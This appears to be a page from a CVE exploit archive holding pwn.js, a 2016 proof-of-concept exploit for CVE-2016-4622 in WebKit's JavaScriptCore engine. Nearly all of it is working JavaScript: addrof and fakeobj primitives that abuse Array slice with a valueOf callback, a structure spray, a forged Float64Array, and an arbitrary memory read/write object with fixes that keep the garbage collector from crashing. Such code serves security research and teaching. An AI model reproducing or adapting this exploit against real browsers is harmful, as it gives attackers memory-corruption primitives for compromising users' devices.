4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / pwn.js JS
//
// Main exploit module. Exploits the bug and
// provides a 'memory' object which can be used
// to read and write arbitrary memory addresses.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js and int64.js
//

// Core exploit primitives.
// CVE-2016-4622 gives us two high level exploitation primitives: leaking of addresses
// of JavaScript objects and the ability to create our own fake JavaScript objects.

// Return the address of the given JavaScript object or string.
function addrof(object) {
    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.1337);         // Array must be of type ArrayWithDoubles

    var b = a.slice(0, {valueOf: function() { a.length = 0; a = [object]; return 4; }});
    return Int64.fromDouble(b[3]);
}

// Return a JavaScript value that contains a JSObject pointer to the given address.
// This allows crafting of fake JavaScript objects in the VM.
function fakeobj(addr) {
    var a = []
    for (var i = 0; i < 100; i++)
        a.push({});             // Array must be of type ArrayWithContiguous

    addr = addr.asDouble();
    return a.slice(0, {valueOf: function() { a.length = 0; a = [addr]; return 4; }})[3];
}

// Check if the engine is vulnerable.
function isVulnerable() {
    return !isNaN(addrof({}).asDouble());
}

// Using the primitives above, this function sets up an arbitrary memory read/write primitive.
// It creates a global 'memory' object that can the be used to read from and write to arbitrary addresses.
function pwn() {
    var structs = [];
    function sprayStructures() {
        // The StructureIDTable can contain holes (these contain the index of the next free slot,
        // kind of like a freelist, just with indices). Since there could be a lot of free entries
        // in the table our spray must be somewhat large.
        function randomString() {
            return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
        }
        for (var i = 0; i < 0x1000; i++) {
            var a = new Float64Array(1);
            // Add a new property to create a new Structure instance.
            a[randomString()] = 1337;
            structs.push(a);        // keep the Structure objects alive.
        }
    }

    // The plan is to
    // 0. Create a lot of Structures for Float64Array instances
    // 1. Setup a fake Float64Array inside another object's inline properties.
    //    The data pointer points into a Uint8Array.
    // 2. Since we don't know the correct structure ID of a Float64Array instance,
    //    we find it using 'instanceof'.
    // 3. We now have an arbitrary read+write primitive since we control the data pointer
    //    of an Uint8Array.
    // 4. We need to fix up a few things so the garbage collector won't crash the process.

    // Set up lot's of structures for Float64Array instances.
    sprayStructures();

    // Create the array that will be used to read and write arbitrary memory addresses.
    var hax = new Uint8Array(0x1000);

    // Create fake JSObject.
    print("[*] Setting up container object");

    var jsCellHeader = new Int64([
        00, 0x10, 00, 00,       // m_structureID, current guess.
                                // JSC allocats a set of structures for non-JSObjects (Executables, regular expression objects, ...)
                                // during start up. Avoid these by picking a high initial ID.
        0x0,                    // m_indexingType, None
        0x27,                   // m_type, Float64Array (doesn't really matter, will be different for older versions)
        0x18,                   // m_flags, OverridesGetOwnPropertySlot | InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
        0x1                     // m_cellState, NewWhite
    ]);

    var container = {
        jsCellHeader: jsCellHeader.asJSValue(),
        butterfly: false,       // Some arbitrary value, we'll fix this up at the end.
        vector: hax,
        lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
    };

    // Create the fake Float64Array.
    var address = Add(addrof(container), 16);
    print("[*] Fake JSObject @ " + address);

    var fakearray = fakeobj(address);

    // From now on until we've set the butterfly pointer to a sane value (i.e. nullptr)
    // a GC run would crash the process. Thus, operations performed now should be
    // as fast as possible.

    // Find a StructureID for a Float64Array instance.
    while (!(fakearray instanceof Float64Array)) {
        // Try to avoid heap allocations here, we don't want to trigger GC.
        jsCellHeader.assignAdd(jsCellHeader, Int64.One);
        container.jsCellHeader = jsCellHeader.asJSValue();
    }

    // Maybe shouldn't print stuff here.. :P
    print("[*] Float64Array structure ID found: " + jsCellHeader.toString().substr(-8));

    //
    // We now have an arbitrary read+write primitive since we can overwrite the
    // data pointer of an Uint8Array with an arbitrary address.
    //
    // Optimization: force JIT compilation for these methods.
    //
    memory = {
        read: function(addr, length) {
            print("[<] Reading " + length + " bytes from " + addr);
            fakearray[2] = addr.asDouble();
            var a = new Array(length);
            for (var i = 0; i < length; i++)
                a[i] = hax[i];
            return a;
        },

        readInt64: function(addr) {
            return new Int64(this.read(addr, 8));
        },

        write: function(addr, data) {
            print("[>] Writing " + data.length + " bytes to " + addr);
            fakearray[2] = addr.asDouble();
            for (var i = 0; i < data.length; i++)
                hax[i] = data[i];
        },

        writeInt64: function(addr, val) {
            return this.write(addr, val.bytes());
        }
    };

    // Fixup the JSCell header of the container to make it look like an empty object.
    // By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array.
    var empty = {};
    var header = memory.read(addrof(empty), 8);
    memory.write(addrof(container), header);

    // Copy the JSCell and Butterfly (will be nullptr) from an existing Float64Array.
    var f64array = new Float64Array(8);
    header = memory.read(addrof(f64array), 16);
    memory.write(addrof(fakearray), header);

    // Set valid flags as well: make it look like an OversizeTypedArray
    // for easy GC survival (see JSGenericTypedArrayView<Adaptor>::visitChildren).
    memory.write(Add(addrof(fakearray), 24), [0x10,0,0,0,1,0,0,0]);

    print("[+] All done!");

    // Root the container object so it isn't garbage collected.
    // This will allocate a butterfly for the fake object and store a reference to the container there.
    // The fake array itself is rooted by the memory object (closures).
    fakearray.container = container;
}